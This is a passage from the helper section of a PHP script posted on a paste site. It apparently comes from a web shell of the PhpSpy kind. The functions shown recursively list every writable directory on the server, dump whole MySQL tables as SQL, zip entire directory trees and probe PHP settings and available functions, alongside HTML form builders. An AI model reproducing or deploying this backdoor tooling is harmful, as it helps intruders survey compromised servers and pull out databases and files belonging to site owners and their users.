  1975.         }
  1976.         $mydir->close();
  1977.         @chmod($deldir,0777);
  1978.         return @rmdir($deldir) ? 1 : 0;
  1979. }
  1980.  
  1981. // Background
  1982. function bg() {
  1983.         global $bgc;
  1984.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1985. }
  1986.  
  1987. // Get path
  1988. function getPath($scriptpath, $nowpath) {
  1989.         if ($nowpath == '.') {
  1990.                 $nowpath = $scriptpath;
  1991.         }
  1992.         $nowpath = str_replace('\\', '/', $nowpath);
  1993.         $nowpath = str_replace('//', '/', $nowpath);
  1994.         if (substr($nowpath, -1) != '/') {
  1995.                 $nowpath = $nowpath.'/';
  1996.         }
  1997.         return $nowpath;
  1998. }
  1999.  
  2000. // Get up path
  2001. function getUpPath($nowpath) {
  2002.         $pathdb = explode('/', $nowpath);
  2003.         $num = count($pathdb);
  2004.         if ($num > 2) {
  2005.                 unset($pathdb[$num-1],$pathdb[$num-2]);
  2006.         }
  2007.         $uppath = implode('/', $pathdb).'/';
  2008.         $uppath = str_replace('//', '/', $uppath);
  2009.         return $uppath;
  2010. }
  2011.  
  2012. // Config
  2013. function getcfg($varname) {
  2014.         $result = get_cfg_var($varname);
  2015.         if ($result == 0) {
  2016.                 return 'No';
  2017.         } elseif ($result == 1) {
  2018.                 return 'Yes';
  2019.         } else {
  2020.                 return $result;
  2021.         }
  2022. }
  2023.  
  2024. // Function name
  2025. function getfun($funName) {
  2026.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
  2027. }
  2028.  
  2029. function GetList($dir){
  2030.         global $dirdata,$j,$nowpath;
  2031.         !$j && $j=1;
  2032.         if ($dh = opendir($dir)) {
  2033.                 while ($file = readdir($dh)) {
  2034.                         $f=str_replace('//','/',$dir.'/'.$file);
  2035.                         if($file!='.' && $file!='..' && is_dir($f)){
  2036.                                 if (is_writable($f)) {
  2037.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  2038.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  2039.                                         $dirdata[$j]['dirchmod']=getChmod($f);
  2040.                                         $dirdata[$j]['dirperm']=getPerms($f);
  2041.                                         $dirdata[$j]['dirlink']=ue($dir);
  2042.                                         $dirdata[$j]['server_link']=$f;
  2043.                                         $dirdata[$j]['client_link']=ue($f);
  2044.                                         $j++;
  2045.                                 }
  2046.                                 GetList($f);
  2047.                         }
  2048.                 }
  2049.                 closedir($dh);
  2050.                 clearstatcache();
  2051.                 return $dirdata;
  2052.         } else {
  2053.                 return array();
  2054.         }
  2055. }
  2056.  
  2057. function qy($sql) {
  2058.         //echo $sql.'<br>';
  2059.         $res = $error = '';
  2060.         if(!$res = @mysql_query($sql)) {
  2061.                 return 0;
  2062.         } else if(is_resource($res)) {
  2063.                 return 1;
  2064.         } else {
  2065.                 return 2;
  2066.         }
  2067.         return 0;
  2068. }
  2069.  
  2070. function q($sql) {
  2071.         return @mysql_query($sql);
  2072. }
  2073.  
  2074. function fr($qy){
  2075.         mysql_free_result($qy);
  2076. }
  2077.  
  2078. function sizecount($size) {
  2079.         if($size > 1073741824) {
  2080.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
  2081.         } elseif($size > 1048576) {
  2082.                 $size = round($size / 1048576 * 100) / 100 . ' M';
  2083.         } elseif($size > 1024) {
  2084.                 $size = round($size / 1024 * 100) / 100 . ' K';
  2085.         } else {
  2086.                 $size = $size . ' B';
  2087.         }
  2088.         return $size;
  2089. }
  2090.  
  2091. // Zip
  2092. class PHPZip{
  2093.         var $out='';
  2094.         function PHPZip($dir)   {
  2095.                 if (@function_exists('gzcompress'))     {
  2096.                         $curdir = getcwd();
  2097.                         if (is_array($dir)) $filelist = $dir;
  2098.                         else{
  2099.                                 $filelist=$this -> GetFileList($dir);//File list
  2100.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  2101.                         }
  2102.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  2103.                         else chdir($curdir);
  2104.                         if (count($filelist)>0){
  2105.                                 foreach($filelist as $filename){
  2106.                                         if (is_file($filename)){
  2107.                                                 $fd = fopen ($filename, 'r');
  2108.                                                 $content = @fread ($fd, filesize($filename));
  2109.                                                 fclose ($fd);
  2110.                                                 if (is_array($dir)) $filename = basename($filename);
  2111.                                                 $this -> addFile($content, $filename);
  2112.                                         }
  2113.                                 }
  2114.                                 $this->out = $this -> file();
  2115.                                 chdir($curdir);
  2116.                         }
  2117.                         return 1;
  2118.                 }
  2119.                 else return 0;
  2120.         }
  2121.  
  2122.         // Show file list
  2123.         function GetFileList($dir){
  2124.                 static $a;
  2125.                 if (is_dir($dir)) {
  2126.                         if ($dh = opendir($dir)) {
  2127.                                 while ($file = readdir($dh)) {
  2128.                                         if($file!='.' && $file!='..'){
  2129.                                                 $f=$dir .'/'. $file;
  2130.                                                 if(is_dir($f)) $this->GetFileList($f);
  2131.                                                 $a[]=$f;
  2132.                                         }
  2133.                                 }
  2134.                                 closedir($dh);
  2135.                         }
  2136.                 }
  2137.                 return $a;
  2138.         }
  2139.  
  2140.         var $datasec      = array();
  2141.         var $ctrl_dir     = array();
  2142.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  2143.         var $old_offset   = 0;
  2144.  
  2145.         function unix2DosTime($unixtime = 0) {
  2146.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  2147.                 if ($timearray['year'] < 1980) {
  2148.                         $timearray['year']    = 1980;
  2149.                         $timearray['mon']     = 1;
  2150.                         $timearray['mday']    = 1;
  2151.                         $timearray['hours']   = 0;
  2152.                         $timearray['minutes'] = 0;
  2153.                         $timearray['seconds'] = 0;
  2154.                 } // end if
  2155.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  2156.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  2157.         }
  2158.  
  2159.         function addFile($data, $name, $time = 0) {
  2160.                 $name = str_replace('\\', '/', $name);
  2161.  
  2162.                 $dtime = dechex($this->unix2DosTime($time));
  2163.                 $hexdtime       = '\x' . $dtime[6] . $dtime[7]
  2164.                                         . '\x' . $dtime[4] . $dtime[5]
  2165.                                         . '\x' . $dtime[2] . $dtime[3]
  2166.                                         . '\x' . $dtime[0] . $dtime[1];
  2167.                 eval('$hexdtime = "' . $hexdtime . '";');
  2168.                 $fr     = "\x50\x4b\x03\x04";
  2169.                 $fr     .= "\x14\x00";
  2170.                 $fr     .= "\x00\x00";
  2171.                 $fr     .= "\x08\x00";
  2172.                 $fr     .= $hexdtime;
  2173.  
  2174.                 $unc_len = strlen($data);
  2175.                 $crc = crc32($data);
  2176.                 $zdata = gzcompress($data);
  2177.                 $c_len = strlen($zdata);
  2178.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  2179.                 $fr .= pack('V', $crc);
  2180.                 $fr .= pack('V', $c_len);
  2181.                 $fr .= pack('V', $unc_len);
  2182.                 $fr .= pack('v', strlen($name));
  2183.                 $fr .= pack('v', 0);
  2184.                 $fr .= $name;
  2185.                 $fr .= $zdata;
  2186.                 $fr .= pack('V', $crc);
  2187.                 $fr .= pack('V', $c_len);
  2188.                 $fr .= pack('V', $unc_len);
  2189.  
  2190.                 $this -> datasec[] = $fr;
  2191.                 $new_offset = strlen(implode('', $this->datasec));
  2192.  
  2193.                 $cdrec = "\x50\x4b\x01\x02";
  2194.                 $cdrec .= "\x00\x00";
  2195.                 $cdrec .= "\x14\x00";
  2196.                 $cdrec .= "\x00\x00";
  2197.                 $cdrec .= "\x08\x00";
  2198.                 $cdrec .= $hexdtime;
  2199.                 $cdrec .= pack('V', $crc);
  2200.                 $cdrec .= pack('V', $c_len);
  2201.                 $cdrec .= pack('V', $unc_len);
  2202.                 $cdrec .= pack('v', strlen($name) );
  2203.                 $cdrec .= pack('v', 0 );
  2204.                 $cdrec .= pack('v', 0 );
  2205.                 $cdrec .= pack('v', 0 );
  2206.                 $cdrec .= pack('v', 0 );
  2207.                 $cdrec .= pack('V', 32 );
  2208.                 $cdrec .= pack('V', $this -> old_offset );
  2209.                 $this -> old_offset = $new_offset;
  2210.                 $cdrec .= $name;
  2211.  
  2212.                 $this -> ctrl_dir[] = $cdrec;
  2213.         }
  2214.  
  2215.         function file() {
  2216.                 $data    = implode('', $this -> datasec);
  2217.                 $ctrldir = implode('', $this -> ctrl_dir);
  2218.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  2219.         }
  2220. }
  2221.  
  2222. // Dump mysql
  2223. function sqldumptable($table, $fp=0) {
  2224.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
  2225.         $tabledump .= "CREATE TABLE $table (\n";
  2226.  
  2227.         $firstfield=1;
  2228.  
  2229.         $fields = q("SHOW FIELDS FROM $table");
  2230.         while ($field = mysql_fetch_array($fields)) {
  2231.                 if (!$firstfield) {
  2232.                         $tabledump .= ",\n";
  2233.                 } else {
  2234.                         $firstfield=0;
  2235.                 }
  2236.                 $tabledump .= "   $field[Field] $field[Type]";
  2237.                 if (!empty($field["Default"])) {
  2238.                         $tabledump .= " DEFAULT '$field[Default]'";
  2239.                 }
  2240.                 if ($field['Null'] != "YES") {
  2241.                         $tabledump .= " NOT NULL";
  2242.                 }
  2243.                 if ($field['Extra'] != "") {
  2244.                         $tabledump .= " $field[Extra]";
  2245.                 }
  2246.         }
  2247.         fr($fields);
  2248.  
  2249.         $keys = q("SHOW KEYS FROM $table");
  2250.         while ($key = mysql_fetch_array($keys)) {
  2251.                 $kname=$key['Key_name'];
  2252.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  2253.                         $kname="UNIQUE|$kname";
  2254.                 }
  2255.                 if(!is_array($index[$kname])) {
  2256.                         $index[$kname] = array();
  2257.                 }
  2258.                 $index[$kname][] = $key['Column_name'];
  2259.         }
  2260.         fr($keys);
  2261.  
  2262.         while(list($kname, $columns) = @each($index)) {
  2263.                 $tabledump .= ",\n";
  2264.                 $colnames=implode($columns,",");
  2265.  
  2266.                 if ($kname == "PRIMARY") {
  2267.                         $tabledump .= "   PRIMARY KEY ($colnames)";
  2268.                 } else {
  2269.                         if (substr($kname,0,6) == "UNIQUE") {
  2270.                                 $kname=substr($kname,7);
  2271.                         }
  2272.                         $tabledump .= "   KEY $kname ($colnames)";
  2273.                 }
  2274.         }
  2275.  
  2276.         $tabledump .= "\n);\n\n";
  2277.         if ($fp) {
  2278.                 fwrite($fp,$tabledump);
  2279.         } else {
  2280.                 echo $tabledump;
  2281.         }
  2282.  
  2283.         $rows = q("SELECT * FROM $table");
  2284.         $numfields = mysql_num_fields($rows);
  2285.         while ($row = mysql_fetch_array($rows)) {
  2286.                 $tabledump = "INSERT INTO $table VALUES(";
  2287.  
  2288.                 $fieldcounter=-1;
  2289.                 $firstfield=1;
  2290.                 while (++$fieldcounter<$numfields) {
  2291.                         if (!$firstfield) {
  2292.                                 $tabledump.=", ";
  2293.                         } else {
  2294.                                 $firstfield=0;
  2295.                         }
  2296.  
  2297.                         if (!isset($row[$fieldcounter])) {
  2298.                                 $tabledump .= "NULL";
  2299.                         } else {
  2300.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  2301.                         }
  2302.                 }
  2303.  
  2304.                 $tabledump .= ");\n";
  2305.  
  2306.                 if ($fp) {
  2307.                         fwrite($fp,$tabledump);
  2308.                 } else {
  2309.                         echo $tabledump;
  2310.                 }
  2311.         }
  2312.         fr($rows);
  2313.         if ($fp) {
  2314.                 fwrite($fp,"\n");
  2315.         } else {
  2316.                 echo "\n";
  2317.         }
  2318. }
  2319.  
  2320. function ue($str){
  2321.         return urlencode($str);
  2322. }
  2323.  
  2324. function p($str){
  2325.         echo $str."\n";
  2326. }
  2327.  
  2328. function tbhead() {
  2329.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2330. }
  2331. function tbfoot(){
  2332.         p('</table>');
  2333. }
  2334.  
  2335. function makehide($name,$value=''){
  2336.         p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2337. }
  2338.  
  2339. function makeinput($arg = array()){
  2340.         $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2341.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2342.         !$arg['type'] && $arg['type'] = 'text';
  2343.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2344.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2345.         if ($arg['newline']) {
  2346.                 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2347.         } else {
  2348.                 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2349.         }
  2350. }
  2351.  
  2352. function makeselect($arg = array()){
  2353.         if ($arg['onchange']) {
  2354.                 $onchange = 'onchange="'.$arg['onchange'].'"';
  2355.         }
  2356.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2357.         if ($arg['newline']) p('<p>');
  2358.         p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2359.                 if (is_array($arg['option'])) {
  2360.                         foreach ($arg['option'] as $key=>$value) {
  2361.                                 if ($arg['selected']==$key) {
  2362.                                         p("<option value=\"$key\" selected>$value</option>");
  2363.                                 } else {
  2364.                                         p("<option value=\"$key\">$value</option>");
  2365.                                 }
  2366.                         }
  2367.                 }
  2368.         p("</select>");
  2369.         if ($arg['newline']) p('</p>');
  2370. }
  2371. function formhead($arg = array()) {
  2372.         !$arg['method'] && $arg['method'] = 'post';
  2373.         !$arg['action'] && $arg['action'] = $self;
  2374.         $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  2375.         !$arg['name'] && $arg['name'] = 'form1';
  2376.         p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2377.         if ($arg['title']) {
  2378.                 p('<h2>'.$arg['title'].' &raquo;</h2>');
  2379.         }
  2380. }
  2381.  
  2382. function maketext($arg = array()){
  2383.         !$arg['cols'] && $arg['cols'] = 100;
  2384.         !$arg['rows'] && $arg['rows'] = 25;
  2385.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2386.         p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2387. }
  2388.  
  2389. function formfooter($name = ''){
  2390.         !$name && $name = 'submit';
  2391.         p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  2392.         p('</form>');
  2393. }
  2394.  
  2395. function formfoot(){
  2396.         p('</form>');
  2397. }
  2398.  
  2399. // Exit
  2400. function pr($a) {
  2401.         echo '<pre>';
  2402.         print_r($a);
  2403.         echo '</pre>';
  2404. }
  2405. ?>
Add Comment
Please, Sign In to add comment